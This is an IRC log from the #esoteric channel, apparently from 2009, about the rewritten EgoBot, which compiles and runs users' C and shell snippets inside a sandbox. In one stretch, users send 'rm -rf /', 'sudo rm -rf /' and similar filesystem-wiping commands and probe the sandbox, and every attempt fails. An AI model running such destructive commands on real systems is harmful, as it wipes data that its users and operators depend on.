#esoteric :It's nice for when the T.m. is supposed to accept or reject something and not just convert something :) < 1241327123 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1241327133 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it could be accomplished with the tape, but I'll put it in anyways < 1241327152 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well, alternately, change 'accept' => 'halt' there *shrugs* < 1241327159 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, I'll put it in < 1241327197 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :The main thing I didn't like about the original suggestion was that every transition from an input state is together ... I think it's more ... Idonno, "correct" if every transition is independent. < 1241328802 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Hrm, pgimeno wrote an ORK interpreter, and now it seems lost :( < 1241329623 0 :calamous!unknown@unknown.invalid QUIT :"Leaving" < 1241330240 0 :puzzlet!unknown@unknown.invalid QUIT :Remote closed the connection < 1241330245 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241331578 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; < 1241331578 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Just another Perl hacker, < 1241331867 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(If perl isn't an esolang, I don't know what is ;) ) < 1241332114 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm totally with you there < 1241332312 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Any T.m. progress? < 1241332324 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm about to hit the hay < 1241332345 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nothing runnable as of yet; I took the liberty of playing with a new parser framework and I'm not exactly doing well < 1241332457 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :currently it works, except it can't parse accept and reject for some reaosn < 1241332687 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ACTION tries replacing those with a series of character literals < 1241332711 0 :xor!n=gavin@97-118-129-241.hlrn.qwest.net JOIN :#esoteric < 1241333013 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :huh... < 1241334985 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%c%c%c", 0xBA ^ 0xF2, 0xA0 ^ 0xC9, 0xE9 ^ 0xE3) < 1241334986 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hi < 1241334995 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(Hey, I did it right 8-D ) < 1241335261 0 :pikhq!unknown@unknown.invalid QUIT :"Foo" < 1241335401 0 :pikhq!n=pikhq@99-196-16-139.cust.wildblue.net JOIN :#esoteric < 1241335637 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241335641 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :gregor what is that < 1241335652 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :a c interpreter? < 1241335655 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :in egobot? < 1241335660 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :are you for real? < 1241335677 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's not an interpreter. < 1241335680 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's GCC. < 1241335695 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :but... < 1241335700 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :so its compiling it and running it? < 1241335703 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1241335706 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :x.x < 1241335709 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :write an interpreter! < 1241335721 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, that sounds like "fun" X-P < 1241335729 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241335738 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :i guess the simplest way is to like < 1241335798 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :no < 1241335800 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :i dont know < 1241335802 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :D: < 1241335815 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :i guess you could just like < 1241335828 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!c code -> int main() { code; } < 1241335829 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241335831 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :and just run it < 1241335835 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :shut up egobot < 1241335837 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :>| < 1241335843 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!c shutup() < 1241335844 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241335885 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!c 1+2 < 1241335902 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d", 1+2) < 1241335903 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :3 < 1241335920 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :lawl < 1241335922 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :neat. so it really is compiling it then running it in a terminal instance < 1241335936 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :since 1+2 has no shell output :o < 1241335948 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c system("rm -rf /"); < 1241335982 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :that probably wouldnt work. remove the ;, because i suspect ; is auto-inserted < 1241335994 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :empty statements are legal < 1241335997 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :given that printf(...) doesnt have it < 1241336000 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :oh, are they? ok < 1241336058 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: hows the hd wiping? ;P < 1241336070 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :psygnisfive: Not happening. < 1241336073 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1241336079 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :aww why not :( < 1241336082 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo 'You lose' < 1241336082 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :You lose < 1241336089 0 :cherez!n=cherez@r02snw275.device.mst.edu JOIN :#esoteric < 1241336096 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf / < 1241336096 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove root directory `/' < 1241336100 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :hahaha :) < 1241336114 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf /bin < 1241336114 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `/bin': Function not implemented < 1241336116 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c unlink("/"); < 1241336119 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf /bin/ < 1241336119 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove `/bin/': Function not implemented < 1241336126 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -rf / < 1241336126 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/rm: cannot remove root directory `/' < 1241336129 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :darn xor < 1241336130 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :didnt work! < 1241336149 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :!sh sudo rm -rf / < 1241336149 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.24938: line 1: sudo: command not found < 1241336159 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :GregorR you're tricky! :o < 1241336179 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d\n", getuid()); < 1241336180 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2083599 < 1241336196 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :lol wut? < 1241336200 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d\n", (int)getuid()); < 1241336201 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1802468 < 1241336207 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241336221 0 :cherez!unknown@unknown.invalid PART #esoteric :? < 1241336221 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :tricky! < 1241336224 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :who has uids that high < 1241336236 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, duh < 1241336240 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d, %d\n", (int)getuid(), (int)getuid()); < 1241336241 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1412733, 1412733 < 1241336254 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d\n", getpid()); < 1241336255 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :25082 < 1241336256 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("%d\n", getpid()); < 1241336257 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :25117 < 1241336262 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I loev how much confusion this is causing. < 1241336265 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :*love < 1241336267 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So amusing. < 1241336275 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Everybody who was on earlier knows exactly how it works :P < 1241336285 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :i walked in in the middle < 1241336290 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :what is actually going on? < 1241336318 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's using the plash sandboxing framework. < 1241336325 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It puts it in an empty chroot jail, running as a random UID. < 1241336509 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c DIR*x;struct dirent *y;x=opendir("/");while(y=readdir(x)) printf("%s\n", y->d_name); < 1241336510 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241336532 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I didn't #include < 1241336543 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :is it possible to? < 1241336567 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls / | xargs echo < 1241336567 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :bin dev etc home lib lib64 proc tmp usr < 1241336571 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That's easier :P < 1241336587 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric : It puts it in an empty chroot jail < 1241336600 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :My description was a bit incomplete :P < 1241336614 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It puts it in an empty chroot jail with a special version of glibc that provides a false filesystem over that. < 1241336632 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So things that use syscalls directly won't work at all, but things that use glibc will get only the files they're allowed to see. < 1241336652 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!sh uname < 1241336653 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Linux < 1241336793 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c struct dirent x[10]; int i; getdents(open("/", O_RDONLY), x, 10);for(i = 0; i < 10; i++) printf("%s\n", x[i].d_name); < 1241336794 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241336802 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :damnit, how do i use the preproccesor? < 1241336831 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well, because everything has to be on its own line, you'd have to paste a complete file at e.g. pastebin.ca, then !c http://pastebin.ca/raw/whatever < 1241336864 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :does it need a main? < 1241336913 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yes. That's what I meant by "complete file" :P < 1241337576 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!userinterps < 1241337576 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Installed user interpreters: bfbignum echo < 1241337599 0 :clog!unknown@unknown.invalid QUIT :ended < 1241337600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1241337814 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :ok, here we go < 1241337817 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c http://pastebin.ca/raw/1410988 < 1241337859 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :or not < 1241337867 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't think stdout will work by the direct syscall interface. < 1241337872 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric : ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.25334: No such file or directory < 1241337878 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :i'm not using stdio < 1241337897 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that's confusing >_> < 1241337907 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It must have failed to compile and not realized that it failed to compile <_< < 1241337917 0 :Robdgreat!unknown@unknown.invalid PRIVMSG #esoteric :you broke it < 1241337923 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c http://pastebin.ca/raw/1410988 < 1241337947 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :xor: Are you sure that wasn't from earlier, when it failed to compile? < 1241337963 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :ermm...it was < 1241337974 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241337984 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c http://pastebin.ca/raw/1410990 < 1241337985 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :This program ran. < 1241337988 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, it ran. < 1241337993 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It just didn't do anything interesting. < 1241338010 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1241338057 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :What's it supposed to do? It's clearly opening / and then, Idonno, reading from it (quay?) < 1241338070 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And then doing something arbitrary with it. < 1241338080 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :syscall 141 is getdents < 1241338096 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :5 is open, 4 is write < 1241338127 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c http://pastebin.ca/raw/1410991 < 1241338132 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :got -1 bytes of dirents < 1241338132 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So ... you're writing to stdin? < 1241338156 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :....oops < 1241338259 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c http://pastebin.ca/raw/1410994 < 1241338260 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Invalid argument < 1241338277 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :odd < 1241338297 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!c http://pastebin.ca/raw/1410995 < 1241338299 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Bad file descriptor < 1241338328 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :hmmm < 1241338437 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp hello c char buf[1024]; fgets(buf, 1024, stdin); if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf); < 1241338437 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter hello installed. < 1241338441 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!hello h < 1241338442 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Unknown command (h < 1241338445 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Whoops :P < 1241338447 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp hello < 1241338448 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter hello deleted. < 1241338517 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp hello c char buf[1024]; int i; fgets(buf, 1024, stdin); for (i=0;buf[i];i++)buf[i]=(buf[i]=='\n')?'\0':buf[i]; if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf); < 1241338517 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter hello installed. < 1241338521 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!hello h < 1241338522 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello World < 1241338524 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!hello d < 1241338525 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Unknown command (d) encountered < 1241338538 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That was useful :P < 1241338543 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :1 line c is hard to read < 1241338550 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yes :P < 1241338554 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's not easy to write, either :P < 1241338784 0 :WangZeDong!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241338818 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp foobar c char buf[1024]; int n; while((n=read(0, buf, 1024)) > 0)write(1, buf, n); < 1241338818 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter foobar installed. < 1241338824 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!foobar baz bomb < 1241338825 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :baz bomb < 1241338831 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!foobar < 1241338844 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yes, cat is an extraordinarily useful interpreter :P < 1241338914 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp better_hello c char c;read(0,&c,1);if(c=='h')printf("Hello, world\n"); < 1241338915 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter better_hello installed. < 1241338920 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!better_hello h < 1241338921 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, world < 1241338923 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :!better_hello d < 1241338934 0 :cherez!n=cherez@r02snw275.device.mst.edu JOIN :#esoteric < 1241338941 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :mines shorter < 1241338961 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :But it doesn't follow the spec of the language. < 1241338969 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Which must complain if (e.g.) hhh is entered. < 1241338973 0 :WangZeDong!n=butt@ANantes-259-1-6-85.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1241339020 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I'm referring to http://esoteric.voxelperfect.net/wiki/Hello , by the way :P < 1241339052 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :i think syntax errors can be considered undefined behaviour < 1241339056 0 :cherez!unknown@unknown.invalid PART #esoteric :? < 1241339063 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1241339143 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I just added support for daemons (potentially-long-running programs that can accept input), but I have no real use for them :P < 1241339173 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :are you trying to make anything more specific that just an irc bot? < 1241339229 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well ... it's an IRC bot that interprets programs in esoteric languages. < 1241339233 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :All the other stuff is just for giggles. < 1241339261 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!bf +++++++++++[>++++++>+++>++++>+<<<<-]>++++++.+++++++++++++++++++++++++++++.+++++++..+++.>>.<-.<++++++++.--------.+++.------.--------.>+.>>-. < 1241339261 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, world! < 1241339266 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :^ That's why it exists :P < 1241339274 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :...you already have one < 1241339297 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :............ uh? < 1241339306 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :egobot < 1241339336 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :OH, heh, daemons in EgoBot aren't daemons in that sense :P < 1241339345 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!daemon cat bf ,[.,] < 1241339346 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon cat running. < 1241339350 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!cat Foo < 1241339350 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Foo < 1241339354 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!kill cat < 1241339354 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon cat killed. < 1241339375 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :is this a complete rewrite of EgoBot ? < 1241339384 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1241339384 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :or if not, why the sudden interest? < 1241339436 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :The old version of EgoBot was so ill-organized I couldn't even get it to run (well, at least not without more work than I wanted to put in to it) < 1241339450 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So I made a new one. It's a bit more modular, although also weirder in some ways >: ) < 1241339461 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :hopefully you didn't use c++ again < 1241339473 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :My choice won't make you any happier >: ) < 1241339541 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I wrote a simple scriptable bot in C that just hooks up to IRC and then runs scripts based on input from IRC. The scripts themselves are mostly ~10-line shell scripts. < 1241339580 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :C is far better than C++ < 1241339587 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(Is xor an alias for somebody I should remember, btw? :P ) < 1241339614 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :you mean you don't recognize me? :( < 1241339641 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :'fraid not >_> < 1241339659 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Although looking through my logs, it looks like you come here often, but never when I'm here :P < 1241339704 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :you ought to recognize my demeanor < 1241339721 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't maintain a demeanor->identity association. < 1241339811 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :you can construct one from your identity->demeanor association in O(n) time < 1241339816 0 :calamari!unknown@unknown.invalid PART #esoteric :? < 1241339831 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't maintain an identity->demeanor association either :P < 1241339891 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Ah, you're bsmntbombdood < 1241339895 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :you do, perhaps it is subconscious < 1241339901 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :there you go < 1241339913 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Although I don't maintain an identity->demeanor association, luckily I do maintain a nick->hostmask association :P < 1241339940 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :http://codu.org/projects/egobot/hg/ if you're interested in the new version. < 1241340324 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :you know, spawning all those new proccesses get's expensive < 1241340330 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :i think you need a mod_brainfuck < 1241340354 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :lawl :P < 1241340432 0 :tombom!i=tombom@wikipedia/Tombomp JOIN :#esoteric < 1241341103 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :would anyone be willing to review a draft of a paper for me? < 1241341131 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :only if it's interesting < 1241341161 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :dunno if you'll find it interesting. i certainly do! :p < 1241341372 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :http://www.wellnowwhat.net/linguistics/honors_thesis/draft.pdf < 1241342486 0 :Dewi!unknown@unknown.invalid QUIT :Read error: 101 (Network is unreachable) < 1241343774 0 :BeholdMyGlory!n=behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1241345057 0 :psygnisfive!unknown@unknown.invalid QUIT :Remote closed the connection < 1241345515 0 :Slereah!n=butt@ANantes-259-1-50-63.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1241346249 0 :WangZeDong!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241346290 0 :puzzlet_!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241346319 0 :puzzlet!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1241346800 0 :psygnisfive!n=psygnisf@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1241346935 0 :oerjan!n=oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1241347153 0 :psygnisfive!unknown@unknown.invalid PRIVMSG #esoteric :xor < 1241349189 0 :WangZeDong!n=butt@ANantes-259-1-5-37.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1241349798 0 :Slereah!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241349815 0 :Slereah!n=butt@ANantes-259-1-140-233.w92-139.abo.wanadoo.fr JOIN :#esoteric < 1241350120 0 :tombom!unknown@unknown.invalid QUIT :"Peace and Protection 4.22.2" < 1241350438 0 :WangZeDong!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241351113 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241351180 0 :ais523!i=93bcf499@gateway/web/ajax/mibbit.com/x-dae9e041d1bd0744 JOIN :#esoteric < 1241351716 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: OMG what has DMM done to Steve! < 1241351756 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this is _evil_ i tell ya < 1241351839 0 :puzzlet_!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1241351844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, agreed. Didn't notice you join. < 1241351852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hi btw < 1241351856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and hi to ais523 too < 1241351873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(who I hope remembered to pull yesterday or today) < 1241351895 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: why is it important that my repo's completely up to date, while I'm not working on it? < 1241351902 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :especially during exam time? < 1241351907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, fair enough < 1241351928 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :my situation's rather amusing; actually < 1241351941 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because it's exam time, nearly all the computer labs are completely full < 1241351943 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :even on a Sunday < 1241351950 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but this one's only half-full, because it runs Vista < 1241351957 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241351972 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What do the others run < 1241351976 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :XP, mostly < 1241351984 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1241352007 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there are a couple of tiny Linux labs in the department, and all the computers there can X-forward from UNIX < 1241352009 0 